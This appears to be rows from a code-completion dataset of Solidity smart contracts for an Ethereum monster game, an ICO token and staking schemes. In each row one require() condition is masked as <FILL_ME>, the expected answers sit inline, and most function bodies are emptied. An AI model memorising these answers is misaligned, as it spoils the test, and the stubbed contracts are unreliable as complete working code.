function BasicAccessControl() public {
}
modifier onlyOwner {
}
modifier onlyModerators() {
}
modifier isActive {
require(<FILL_ME>)
_;
}
function ChangeOwner(address _newOwner) onlyOwner public {
}
function AddModerator(address _newModerator) onlyOwner public {
}
function RemoveModerator(address _oldModerator) onlyOwner public {
}
function UpdateMaintaining(bool _isMaintaining) onlyOwner public {
}
}
contract EtheremonEnum {
enum ResultCode {
SUCCESS,
ERROR_CLASS_NOT_FOUND,
ERROR_LOW_BALANCE,
ERROR_SEND_FAIL,
ERROR_NOT_TRAINER,
ERROR_NOT_ENOUGH_MONEY,
ERROR_INVALID_AMOUNT,
ERROR_OBJ_NOT_FOUND,
ERROR_OBJ_INVALID_OWNERSHIP
}
enum ArrayType {
CLASS_TYPE,
STAT_STEP,
STAT_START,
STAT_BASE,
OBJ_SKILL
}
enum PropertyType {
ANCESTOR,
XFACTOR
}
enum BattleResult {
CASTLE_WIN,
CASTLE_LOSE,
CASTLE_DESTROYED
}
enum CacheClassInfoType {
CLASS_TYPE,
CLASS_STEP,
CLASS_ANCESTOR
}
}
contract EtheremonDataBase is EtheremonEnum, BasicAccessControl, SafeMath {
uint64 public totalMonster;
uint32 public totalClass;
// read
function getSizeArrayType(ArrayType _type, uint64 _id) constant public returns(uint);
function getElementInArrayType(ArrayType _type, uint64 _id, uint _index) constant public returns(uint8);
function getMonsterClass(uint32 _classId) constant public returns(uint32 classId, uint256 price, uint256 returnPrice, uint32 total, bool catchable);
function getMonsterObj(uint64 _objId) constant public returns(uint64 objId, uint32 classId, address trainer, uint32 exp, uint32 createIndex, uint32 lastClaimIndex, uint createTime);
function getMonsterName(uint64 _objId) constant public returns(string name);
function getExtraBalance(address _trainer) constant public returns(uint256);
function getMonsterDexSize(address _trainer) constant public returns(uint);
function getMonsterObjId(address _trainer, uint index) constant public returns(uint64);
function getExpectedBalance(address _trainer) constant public returns(uint256);
function getMonsterReturn(uint64 _objId) constant public returns(uint256 current, uint256 total);
}
interface EtheremonTradeInterface {
function isOnTrading(uint64 _objId) constant external returns(bool);
}
contract EtheremonGateway is EtheremonEnum, BasicAccessControl {
// using for battle contract later
function increaseMonsterExp(uint64 _objId, uint32 amount) onlyModerators public;
function decreaseMonsterExp(uint64 _objId, uint32 amount) onlyModerators public;
// read
function isGason(uint64 _objId) constant external returns(bool);
function getObjBattleInfo(uint64 _objId) constant external returns(uint32 classId, uint32 exp, bool isGason,
uint ancestorLength, uint xfactorsLength);
function getClassPropertySize(uint32 _classId, PropertyType _type) constant external returns(uint);
function getClassPropertyValue(uint32 _classId, PropertyType _type, uint index) constant external returns(uint32);
}
contract EtheremonCastleContract is EtheremonEnum, BasicAccessControl{
uint32 public totalCastle = 0;
uint64 public totalBattle = 0;
function getCastleBasicInfo(address _owner) constant external returns(uint32, uint, uint32);
function getCastleBasicInfoById(uint32 _castleId) constant external returns(uint, address, uint32);
function countActiveCastle() constant external returns(uint);
function getCastleObjInfo(uint32 _castleId) constant external returns(uint64, uint64, uint64, uint64, uint64, uint64);
function getCastleStats(uint32 _castleId) constant external returns(string, address, uint32, uint32, uint32, uint);
function isOnCastle(uint32 _castleId, uint64 _objId) constant external returns(bool);
function getCastleWinLose(uint32 _castleId) constant external returns(uint32, uint32, uint32);
function getTrainerBrick(address _trainer) constant external returns(uint32);
function addCastle(address _trainer, string _name, uint64 _a1, uint64 _a2, uint64 _a3, uint64 _s1, uint64 _s2, uint64 _s3, uint32 _brickNumber)
onlyModerators external returns(uint32 currentCastleId);
function renameCastle(uint32 _castleId, string _name) onlyModerators external;
function removeCastleFromActive(uint32 _castleId) onlyModerators external;
function deductTrainerBrick(address _trainer, uint32 _deductAmount) onlyModerators external returns(bool);
function addBattleLog(uint32 _castleId, address _attacker,
uint8 _ran1, uint8 _ran2, uint8 _ran3, uint8 _result, uint32 _castleExp1, uint32 _castleExp2, uint32 _castleExp3) onlyModerators external returns(uint64);
function addBattleLogMonsterInfo(uint64 _battleId, uint64 _a1, uint64 _a2, uint64 _a3, uint64 _s1, uint64 _s2, uint64 _s3, uint32 _exp1, uint32 _exp2, uint32 _exp3) onlyModerators external;
}
contract EtheremonBattle is EtheremonEnum, BasicAccessControl, SafeMath {
uint8 constant public NO_MONSTER = 3;
uint8 constant public STAT_COUNT = 6;
uint8 constant public GEN0_NO = 24;
struct MonsterClassAcc {
uint32 classId;
uint256 price;
uint256 returnPrice;
uint32 total;
bool catchable;
}
struct MonsterObjAcc {
uint64 monsterId;
uint32 classId;
address trainer;
string name;
uint32 exp;
uint32 createIndex;
uint32 lastClaimIndex;
uint createTime;
}
struct BattleMonsterData {
uint64 a1;
uint64 a2;
uint64 a3;
uint64 s1;
uint64 s2;
uint64 s3;
}
struct SupporterData {
uint32 classId1;
bool isGason1;
uint8 type1;
uint32 classId2;
bool isGason2;
uint8 type2;
uint32 classId3;
bool isGason3;
uint8 type3;
}
struct AttackData {
uint64 aa;
SupporterData asup;
uint16 aAttackSupport;
uint64 ba;
SupporterData bsup;
uint16 bAttackSupport;
uint8 index;
}
struct MonsterBattleLog {
uint64 objId;
uint32 exp;
}
struct BattleLogData {
address castleOwner;
uint64 battleId;
uint32 castleId;
uint32 castleBrickBonus;
uint castleIndex;
uint32[6] monsterExp;
uint8[3] randoms;
bool win;
BattleResult result;
}
struct CacheClassInfo {
uint8[] types;
uint8[] steps;
uint32[] ancestors;
}
// event
event EventCreateCastle(address indexed owner, uint32 castleId);
event EventAttackCastle(address indexed attacker, uint32 castleId, uint8 result);
event EventRemoveCastle(uint32 indexed castleId);
// linked smart contract
address public worldContract;
address public dataContract;
address public tradeContract;
address public castleContract;
// global variable
mapping(uint8 => uint8) typeAdvantages;
mapping(uint32 => CacheClassInfo) cacheClasses;
mapping(uint8 => uint32) levelExps;
uint8 public ancestorBuffPercentage = 10;
uint8 public gasonBuffPercentage = 10;
uint8 public typeBuffPercentage = 20;
uint8 public maxLevel = 100;
uint16 public maxActiveCastle = 30;
uint8 public maxRandomRound = 4;
uint8 public winBrickReturn = 8;
uint32 public castleMinBrick = 5;
uint256 public brickPrice = 0.008 ether;
uint8 public minHpDeducted = 10;
uint256 public totalEarn = 0;
uint256 public totalWithdraw = 0;
address private lastAttacker = address(0x0);
// modifier
modifier requireDataContract {
}
modifier requireTradeContract {
}
modifier requireCastleContract {
}
modifier requireWorldContract {
}
function EtheremonBattle(address _dataContract, address _worldContract, address _tradeContract, address _castleContract) public {
}
// admin & moderators
function setTypeAdvantages() onlyModerators external {
}
function setTypeAdvantage(uint8 _type1, uint8 _type2) onlyModerators external {
}
function setCacheClassInfo(uint32 _classId) onlyModerators requireDataContract requireWorldContract public {
}
function withdrawEther(address _sendTo, uint _amount) onlyModerators external {
}
function setContract(address _dataContract, address _worldContract, address _tradeContract, address _castleContract) onlyModerators external {
}
function setConfig(uint8 _ancestorBuffPercentage, uint8 _gasonBuffPercentage, uint8 _typeBuffPercentage, uint32 _castleMinBrick,
uint8 _maxLevel, uint16 _maxActiveCastle, uint8 _maxRandomRound, uint8 _minHpDeducted) onlyModerators external{
}
function genLevelExp() onlyModerators external {
}
// public
function getCacheClassSize(uint32 _classId) constant public returns(uint, uint, uint) {
}
function getRandom(uint8 maxRan, uint8 index, address priAddress) constant public returns(uint8) {
}
function getLevel(uint32 exp) view public returns (uint8) {
}
function getGainExp(uint32 _exp1, uint32 _exp2, bool _win) view public returns(uint32){
}
function getMonsterLevel(uint64 _objId) constant external returns(uint32, uint8) {
}
function getMonsterCP(uint64 _objId) constant external returns(uint64) {
}
function isOnBattle(uint64 _objId) constant external returns(bool) {
}
function isValidOwner(uint64 _objId, address _owner) constant public returns(bool) {
}
function getObjExp(uint64 _objId) constant public returns(uint32, uint32) {
}
function getCurrentStats(uint64 _objId) constant public returns(uint32, uint32, uint16[6]){
}
function safeDeduct(uint16 a, uint16 b) pure private returns(uint16){
}
function calHpDeducted(uint16 _attack, uint16 _specialAttack, uint16 _defense, uint16 _specialDefense, bool _lucky) view public returns(uint16){
}
function getAncestorBuff(uint32 _classId, SupporterData _support) constant private returns(uint16){
}
function getGasonSupport(uint32 _classId, SupporterData _sup) constant private returns(uint16 defenseSupport) {
}
function getTypeSupport(uint32 _aClassId, uint32 _bClassId) constant private returns (uint16 aAttackSupport, uint16 bAttackSupport) {
}
function calculateBattleStats(AttackData att) constant private returns(uint32 aExp, uint16[6] aStats, uint32 bExp, uint16[6] bStats) {
}
function attack(AttackData att) constant private returns(uint32 aExp, uint32 bExp, uint8 ran, bool win) {
}
function destroyCastle(uint32 _castleId, bool win) requireCastleContract private returns(uint32){
}
function hasValidParam(address trainer, uint64 _a1, uint64 _a2, uint64 _a3, uint64 _s1, uint64 _s2, uint64 _s3) constant public returns(bool) {
}
// public
function createCastle(string _name, uint64 _a1, uint64 _a2, uint64 _a3, uint64 _s1, uint64 _s2, uint64 _s3) isActive requireDataContract
requireTradeContract requireCastleContract payable external {
}
function renameCastle(uint32 _castleId, string _name) isActive requireCastleContract external {
}
function removeCastle(uint32 _castleId) isActive requireCastleContract external {
}
function getSupporterInfo(uint64 s1, uint64 s2, uint64 s3) constant public returns(SupporterData sData) {
}
function attackCastle(uint32 _castleId, uint64 _aa1, uint64 _aa2, uint64 _aa3, uint64 _as1, uint64 _as2, uint64 _as3) isActive requireDataContract
requireTradeContract requireCastleContract external {
}
}
| !isMaintaining | 296,559 | !isMaintaining |
10 | pragma solidity ^0.4.16;
// copyright [email protected]
contract SafeMath {
/* function assert(bool assertion) internal { */
/* if (!assertion) { */
/* throw; */
/* } */
/* } // assert no longer needed once solidity is on 0.4.10 */
function safeAdd(uint256 x, uint256 y) pure internal returns(uint256) {
}
function safeSubtract(uint256 x, uint256 y) pure internal returns(uint256) {
}
function safeMult(uint256 x, uint256 y) pure internal returns(uint256) {
}
}
contract BasicAccessControl {
address public owner;
// address[] public moderators;
uint16 public totalModerators = 0;
mapping (address => bool) public moderators;
bool public isMaintaining = true;
function BasicAccessControl() public {
}
modifier onlyOwner {
}
modifier onlyModerators() {
}
modifier isActive {
}
function ChangeOwner(address _newOwner) onlyOwner public {
}
function AddModerator(address _newModerator) onlyOwner public {
}
function RemoveModerator(address _oldModerator) onlyOwner public {
}
function UpdateMaintaining(bool _isMaintaining) onlyOwner public {
}
}
contract EtheremonEnum {
enum ResultCode {
SUCCESS,
ERROR_CLASS_NOT_FOUND,
ERROR_LOW_BALANCE,
ERROR_SEND_FAIL,
ERROR_NOT_TRAINER,
ERROR_NOT_ENOUGH_MONEY,
ERROR_INVALID_AMOUNT,
ERROR_OBJ_NOT_FOUND,
ERROR_OBJ_INVALID_OWNERSHIP
}
enum ArrayType {
CLASS_TYPE,
STAT_STEP,
STAT_START,
STAT_BASE,
OBJ_SKILL
}
enum PropertyType {
ANCESTOR,
XFACTOR
}
enum BattleResult {
CASTLE_WIN,
CASTLE_LOSE,
CASTLE_DESTROYED
}
enum CacheClassInfoType {
CLASS_TYPE,
CLASS_STEP,
CLASS_ANCESTOR
}
}
contract EtheremonDataBase is EtheremonEnum, BasicAccessControl, SafeMath {
uint64 public totalMonster;
uint32 public totalClass;
// read
function getSizeArrayType(ArrayType _type, uint64 _id) constant public returns(uint);
function getElementInArrayType(ArrayType _type, uint64 _id, uint _index) constant public returns(uint8);
function getMonsterClass(uint32 _classId) constant public returns(uint32 classId, uint256 price, uint256 returnPrice, uint32 total, bool catchable);
function getMonsterObj(uint64 _objId) constant public returns(uint64 objId, uint32 classId, address trainer, uint32 exp, uint32 createIndex, uint32 lastClaimIndex, uint createTime);
function getMonsterName(uint64 _objId) constant public returns(string name);
function getExtraBalance(address _trainer) constant public returns(uint256);
function getMonsterDexSize(address _trainer) constant public returns(uint);
function getMonsterObjId(address _trainer, uint index) constant public returns(uint64);
function getExpectedBalance(address _trainer) constant public returns(uint256);
function getMonsterReturn(uint64 _objId) constant public returns(uint256 current, uint256 total);
}
interface EtheremonTradeInterface {
function isOnTrading(uint64 _objId) constant external returns(bool);
}
contract EtheremonGateway is EtheremonEnum, BasicAccessControl {
// using for battle contract later
function increaseMonsterExp(uint64 _objId, uint32 amount) onlyModerators public;
function decreaseMonsterExp(uint64 _objId, uint32 amount) onlyModerators public;
// read
function isGason(uint64 _objId) constant external returns(bool);
function getObjBattleInfo(uint64 _objId) constant external returns(uint32 classId, uint32 exp, bool isGason,
uint ancestorLength, uint xfactorsLength);
function getClassPropertySize(uint32 _classId, PropertyType _type) constant external returns(uint);
function getClassPropertyValue(uint32 _classId, PropertyType _type, uint index) constant external returns(uint32);
}
contract EtheremonCastleContract is EtheremonEnum, BasicAccessControl{
uint32 public totalCastle = 0;
uint64 public totalBattle = 0;
function getCastleBasicInfo(address _owner) constant external returns(uint32, uint, uint32);
function getCastleBasicInfoById(uint32 _castleId) constant external returns(uint, address, uint32);
function countActiveCastle() constant external returns(uint);
function getCastleObjInfo(uint32 _castleId) constant external returns(uint64, uint64, uint64, uint64, uint64, uint64);
function getCastleStats(uint32 _castleId) constant external returns(string, address, uint32, uint32, uint32, uint);
function isOnCastle(uint32 _castleId, uint64 _objId) constant external returns(bool);
function getCastleWinLose(uint32 _castleId) constant external returns(uint32, uint32, uint32);
function getTrainerBrick(address _trainer) constant external returns(uint32);
function addCastle(address _trainer, string _name, uint64 _a1, uint64 _a2, uint64 _a3, uint64 _s1, uint64 _s2, uint64 _s3, uint32 _brickNumber)
onlyModerators external returns(uint32 currentCastleId);
function renameCastle(uint32 _castleId, string _name) onlyModerators external;
function removeCastleFromActive(uint32 _castleId) onlyModerators external;
function deductTrainerBrick(address _trainer, uint32 _deductAmount) onlyModerators external returns(bool);
function addBattleLog(uint32 _castleId, address _attacker,
uint8 _ran1, uint8 _ran2, uint8 _ran3, uint8 _result, uint32 _castleExp1, uint32 _castleExp2, uint32 _castleExp3) onlyModerators external returns(uint64);
function addBattleLogMonsterInfo(uint64 _battleId, uint64 _a1, uint64 _a2, uint64 _a3, uint64 _s1, uint64 _s2, uint64 _s3, uint32 _exp1, uint32 _exp2, uint32 _exp3) onlyModerators external;
}
contract EtheremonBattle is EtheremonEnum, BasicAccessControl, SafeMath {
uint8 constant public NO_MONSTER = 3;
uint8 constant public STAT_COUNT = 6;
uint8 constant public GEN0_NO = 24;
struct MonsterClassAcc {
uint32 classId;
uint256 price;
uint256 returnPrice;
uint32 total;
bool catchable;
}
struct MonsterObjAcc {
uint64 monsterId;
uint32 classId;
address trainer;
string name;
uint32 exp;
uint32 createIndex;
uint32 lastClaimIndex;
uint createTime;
}
struct BattleMonsterData {
uint64 a1;
uint64 a2;
uint64 a3;
uint64 s1;
uint64 s2;
uint64 s3;
}
struct SupporterData {
uint32 classId1;
bool isGason1;
uint8 type1;
uint32 classId2;
bool isGason2;
uint8 type2;
uint32 classId3;
bool isGason3;
uint8 type3;
}
struct AttackData {
uint64 aa;
SupporterData asup;
uint16 aAttackSupport;
uint64 ba;
SupporterData bsup;
uint16 bAttackSupport;
uint8 index;
}
struct MonsterBattleLog {
uint64 objId;
uint32 exp;
}
struct BattleLogData {
address castleOwner;
uint64 battleId;
uint32 castleId;
uint32 castleBrickBonus;
uint castleIndex;
uint32[6] monsterExp;
uint8[3] randoms;
bool win;
BattleResult result;
}
struct CacheClassInfo {
uint8[] types;
uint8[] steps;
uint32[] ancestors;
}
// event
event EventCreateCastle(address indexed owner, uint32 castleId);
event EventAttackCastle(address indexed attacker, uint32 castleId, uint8 result);
event EventRemoveCastle(uint32 indexed castleId);
// linked smart contract
address public worldContract;
address public dataContract;
address public tradeContract;
address public castleContract;
// global variable
mapping(uint8 => uint8) typeAdvantages;
mapping(uint32 => CacheClassInfo) cacheClasses;
mapping(uint8 => uint32) levelExps;
uint8 public ancestorBuffPercentage = 10;
uint8 public gasonBuffPercentage = 10;
uint8 public typeBuffPercentage = 20;
uint8 public maxLevel = 100;
uint16 public maxActiveCastle = 30;
uint8 public maxRandomRound = 4;
uint8 public winBrickReturn = 8;
uint32 public castleMinBrick = 5;
uint256 public brickPrice = 0.008 ether;
uint8 public minHpDeducted = 10;
uint256 public totalEarn = 0;
uint256 public totalWithdraw = 0;
address private lastAttacker = address(0x0);
// modifier
modifier requireDataContract {
}
modifier requireTradeContract {
}
modifier requireCastleContract {
}
modifier requireWorldContract {
}
function EtheremonBattle(address _dataContract, address _worldContract, address _tradeContract, address _castleContract) public {
}
// admin & moderators
function setTypeAdvantages() onlyModerators external {
}
function setTypeAdvantage(uint8 _type1, uint8 _type2) onlyModerators external {
}
function setCacheClassInfo(uint32 _classId) onlyModerators requireDataContract requireWorldContract public {
}
function withdrawEther(address _sendTo, uint _amount) onlyModerators external {
}
function setContract(address _dataContract, address _worldContract, address _tradeContract, address _castleContract) onlyModerators external {
}
function setConfig(uint8 _ancestorBuffPercentage, uint8 _gasonBuffPercentage, uint8 _typeBuffPercentage, uint32 _castleMinBrick,
uint8 _maxLevel, uint16 _maxActiveCastle, uint8 _maxRandomRound, uint8 _minHpDeducted) onlyModerators external{
}
function genLevelExp() onlyModerators external {
uint8 level = 1;
uint32 requirement = 100;
uint32 sum = requirement;
while(level <= 100) {
levelExps[level] = sum;
level += 1;
require(<FILL_ME>)
sum += requirement;
}
}
// public
function getCacheClassSize(uint32 _classId) constant public returns(uint, uint, uint) {
}
function getRandom(uint8 maxRan, uint8 index, address priAddress) constant public returns(uint8) {
}
function getLevel(uint32 exp) view public returns (uint8) {
}
function getGainExp(uint32 _exp1, uint32 _exp2, bool _win) view public returns(uint32){
}
function getMonsterLevel(uint64 _objId) constant external returns(uint32, uint8) {
}
function getMonsterCP(uint64 _objId) constant external returns(uint64) {
}
function isOnBattle(uint64 _objId) constant external returns(bool) {
}
function isValidOwner(uint64 _objId, address _owner) constant public returns(bool) {
}
function getObjExp(uint64 _objId) constant public returns(uint32, uint32) {
}
function getCurrentStats(uint64 _objId) constant public returns(uint32, uint32, uint16[6]){
}
function safeDeduct(uint16 a, uint16 b) pure private returns(uint16){
}
function calHpDeducted(uint16 _attack, uint16 _specialAttack, uint16 _defense, uint16 _specialDefense, bool _lucky) view public returns(uint16){
}
function getAncestorBuff(uint32 _classId, SupporterData _support) constant private returns(uint16){
}
function getGasonSupport(uint32 _classId, SupporterData _sup) constant private returns(uint16 defenseSupport) {
}
function getTypeSupport(uint32 _aClassId, uint32 _bClassId) constant private returns (uint16 aAttackSupport, uint16 bAttackSupport) {
}
function calculateBattleStats(AttackData att) constant private returns(uint32 aExp, uint16[6] aStats, uint32 bExp, uint16[6] bStats) {
}
function attack(AttackData att) constant private returns(uint32 aExp, uint32 bExp, uint8 ran, bool win) {
}
function destroyCastle(uint32 _castleId, bool win) requireCastleContract private returns(uint32){
}
function hasValidParam(address trainer, uint64 _a1, uint64 _a2, uint64 _a3, uint64 _s1, uint64 _s2, uint64 _s3) constant public returns(bool) {
}
// public
function createCastle(string _name, uint64 _a1, uint64 _a2, uint64 _a3, uint64 _s1, uint64 _s2, uint64 _s3) isActive requireDataContract
requireTradeContract requireCastleContract payable external {
}
function renameCastle(uint32 _castleId, string _name) isActive requireCastleContract external {
}
function removeCastle(uint32 _castleId) isActive requireCastleContract external {
}
function getSupporterInfo(uint64 s1, uint64 s2, uint64 s3) constant public returns(SupporterData sData) {
}
function attackCastle(uint32 _castleId, uint64 _aa1, uint64 _aa2, uint64 _aa3, uint64 _as1, uint64 _as2, uint64 _as3) isActive requireDataContract
requireTradeContract requireCastleContract external {
}
}
| ent=(requirement*11)/10+ | 296,559 | (requirement*11) |
null | pragma solidity ^0.4.16;
contract Ownable {
address public owner;
modifier onlyOwner() {
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* modifier to allow actions only when the contract IS paused
*/
modifier whenNotPaused() {
}
/**
* modifier to allow actions only when the contract IS NOT paused
*/
modifier whenPaused() {
}
/**
* called by the owner to pause, triggers stopped state
*/
function pause() public onlyOwner whenNotPaused {
}
/**
* called by the owner to unpause, returns to normal state
*/
function unpause() public onlyOwner whenPaused {
}
}
contract Mortal is Ownable {
function kill() public {
}
}
contract UserTokensControl is Ownable{
uint256 isUserAbleToTransferTime = 1579174400000;//control for transfer Thu Jan 16 2020
modifier isUserAbleToTransferCheck(uint balance,uint _value) {
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic, Pausable , UserTokensControl{
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public whenNotPaused isUserAbleToTransferCheck(balances[msg.sender],_value) returns (bool) {
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused isUserAbleToTransferCheck(balances[msg.sender],_value) returns (bool) {
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
}
}
contract Potentium is StandardToken, Mortal {
string public constant name = "POTENTIAM";
uint public constant decimals = 18;
string public constant symbol = "PTM";
address companyReserve;
uint saleEndDate;
uint public amountRaisedInWei;
uint public priceOfToken=1041600000000000;//0.0010416 ETH
address[] allParticipants;
uint tokenSales=0;
mapping(address => uint256)public balancesHold;
event TokenHold( address indexed to, uint256 value);
mapping (address => bool) isParticipated;
uint public icoStartDate;
uint public icoWeek1Bonus = 10;
uint public icoWeek2Bonus = 7;
uint public icoWeek3Bonus = 5;
uint public icoWeek4Bonus = 3;
function Potentium() public {
}
function() payable whenNotPaused public {
require(msg.sender !=0x0);
require(now<=saleEndDate);
require(msg.value >=40000000000000000); //minimum 0.04 eth
require(<FILL_ME>)
uint256 tokens = (msg.value * (10 ** decimals)) / priceOfToken;
uint256 bonusTokens = 0;
if(now <1513555100000){
bonusTokens = (tokens * 40) /100; //17 dec 2017 % bonus presale
}else if(now <1514760800000) {
bonusTokens = (tokens * 35) /100; //31 dec 2017 % bonus
}else if(now <1515369600000){
bonusTokens = (tokens * 30) /100; //jan 7 2018 bonus
}else if(now <1515974400000){
bonusTokens = (tokens * 25) /100; //jan 14 2018 bonus
}
else if(now <1516578400000){
bonusTokens = (tokens * 20) /100; //jan 21 2018 bonus
}else if(now <1517011400000){
bonusTokens = (tokens * 15) /100; //jan 26 2018 bonus
}
else if(now>=icoStartDate){
if(now <= (icoStartDate + 1 * 7 days) ){
bonusTokens = (tokens * icoWeek1Bonus) /100;
}
else if(now <= (icoStartDate + 2 * 7 days) ){
bonusTokens = (tokens * icoWeek2Bonus) /100;
}
else if(now <= (icoStartDate + 3 * 7 days) ){
bonusTokens = (tokens * icoWeek3Bonus) /100;
}
else if(now <= (icoStartDate + 4 * 7 days) ){
bonusTokens = (tokens * icoWeek4Bonus) /100;
}
}
tokens +=bonusTokens;
tokenSales+=tokens;
balancesHold[msg.sender]+=tokens;
amountRaisedInWei = amountRaisedInWei + msg.value;
if(!isParticipated[msg.sender]){
allParticipants.push(msg.sender);
}
TokenHold(msg.sender,tokens);//event to dispactc as token hold successfully
}
function distributeTokensAfterIcoByOwner()public onlyOwner{
}
/**
* @dev called by the owner to extend deadline relative to last deadLine Time,
* to accept ether and transfer tokens
*/
function extendSaleEndDate(uint saleEndTimeInMIllis)public onlyOwner{
}
function setIcoStartDate(uint icoStartDateInMilli)public onlyOwner{
}
function setICOWeek1Bonus(uint bonus)public onlyOwner{
}
function setICOWeek2Bonus(uint bonus)public onlyOwner{
}
function setICOWeek3Bonus(uint bonus)public onlyOwner{
}
function setICOWeek4Bonus(uint bonus)public onlyOwner{
}
function rateForOnePTM(uint rateInWei) public onlyOwner{
}
//function ext
/**
* to get total particpants count
*/
function getCountPartipants() public constant returns (uint count){
}
function getParticipantIndexAddress(uint index)public constant returns (address){
}
/**
* Transfer entire balance to any account (by owner and admin only)
**/
function transferFundToAccount(address _accountByOwner) public onlyOwner {
}
function resetTokenOfAddress(address _userAdd)public onlyOwner {
}
/**
* Transfer part of balance to any account (by owner and admin only)
**/
function transferLimitedFundToAccount(address _accountByOwner, uint256 balanceToTransfer) public onlyOwner {
}
}
| tokenSales<=(60000000*(10**decimals)) | 296,580 | tokenSales<=(60000000*(10**decimals)) |
null | // SPDX-License-Identifier: --🦉--
pragma solidity =0.7.5;
import "./StakingToken.sol";
abstract contract LiquidityToken is StakingToken {
/**
* @notice A method for a staker to create a liquidity stake
* @param _liquidityTokens amount of UNI-WISE staked.
*/
function createLiquidityStake(
uint256 _liquidityTokens
)
snapshotTrigger
external
returns (bytes16 liquidityStakeID)
{
}
/**
* @notice A method for a staker to end a liquidity stake
* @param _liquidityStakeID - identification number
*/
function endLiquidityStake(
bytes16 _liquidityStakeID
)
snapshotTrigger
external
returns (uint256)
{
LiquidityStake memory liquidityStake =
liquidityStakes[msg.sender][_liquidityStakeID];
require(<FILL_ME>)
liquidityStake.isActive = false;
liquidityStake.closeDay = _currentWiseDay();
liquidityStake.rewardAmount = _calculateRewardAmount(
liquidityStake
);
_mint(
msg.sender,
liquidityStake.rewardAmount
);
safeTransfer(
address(UNISWAP_PAIR),
msg.sender,
liquidityStake.stakedAmount
);
liquidityStakes[msg.sender][_liquidityStakeID] = liquidityStake;
return liquidityStake.rewardAmount;
}
/**
* @notice returns full view and details of
* a liquidity stake belonging to caller
* @param _liquidityStakeID - stakeID
*/
function checkLiquidityStakeByID(
address _staker,
bytes16 _liquidityStakeID
)
external
view
returns (
uint256 startDay,
uint256 stakedAmount,
uint256 rewardAmount,
uint256 closeDay,
bool isActive
)
{
}
/**
* @notice calculates reward when closing liquidity stake
* @param _liquidityStake - stake instance
*/
function _calculateRewardAmount(
LiquidityStake memory _liquidityStake
)
private
view
returns (uint256 _rewardAmount)
{
}
}
| liquidityStake.isActive | 296,656 | liquidityStake.isActive |
"Staking user already exists." | pragma solidity 0.5.12 ;
pragma experimental ABIEncoderV2;
library SafeMath {
function mul(uint a, uint b) internal pure returns(uint) {
}
function div(uint a, uint b) internal pure returns(uint) {
}
function sub(uint a, uint b) internal pure returns(uint) {
}
function add(uint a, uint b) internal pure returns(uint) {
}
function max64(uint64 a, uint64 b) internal pure returns(uint64) {
}
function min64(uint64 a, uint64 b) internal pure returns(uint64) {
}
function max256(uint256 a, uint256 b) internal pure returns(uint256) {
}
function min256(uint256 a, uint256 b) internal pure returns(uint256) {
}
}
contract ERC20 {
function totalSupply() public returns (uint);
function balanceOf(address tokenOwner) public returns (uint balance);
function allowance(address tokenOwner, address spender) public returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract EZSave180 {
address erc20TokenAddress = 0x9E8bfE46f9Af27c5Ea5C9C72b86D71bb86953A0c;
address officialAddress = 0xc4D1DC8D23Bc20b7AA6a3Fbc024A8C06Ec0A7C8d;
uint256 DAY_NUM = 86400;
uint256 LIMIT_DAY = 180;
uint256 PERCENT = 8;
uint256 OFFICIAL_PERCENT = 8;
uint256 DECIMALS = 18;
// 2022-02-01
uint256 BUY_EXPIRE_DATE = 1643644800;
uint256 YEAR_DAYS = 365;
address public owner;
struct Staking {
address stakingAddress;
uint coin;
uint256 startDatetime;
uint256 expireDatetime;
uint256 sum;
uint256 officialBonus;
bool isEnd;
}
mapping(address => Staking) internal stakingMap;
address[] stakingArray;
constructor() public {
}
/*
Get total staking members
*/
function getStakingNum() public view returns (uint) {
}
/*
Get address information data
*/
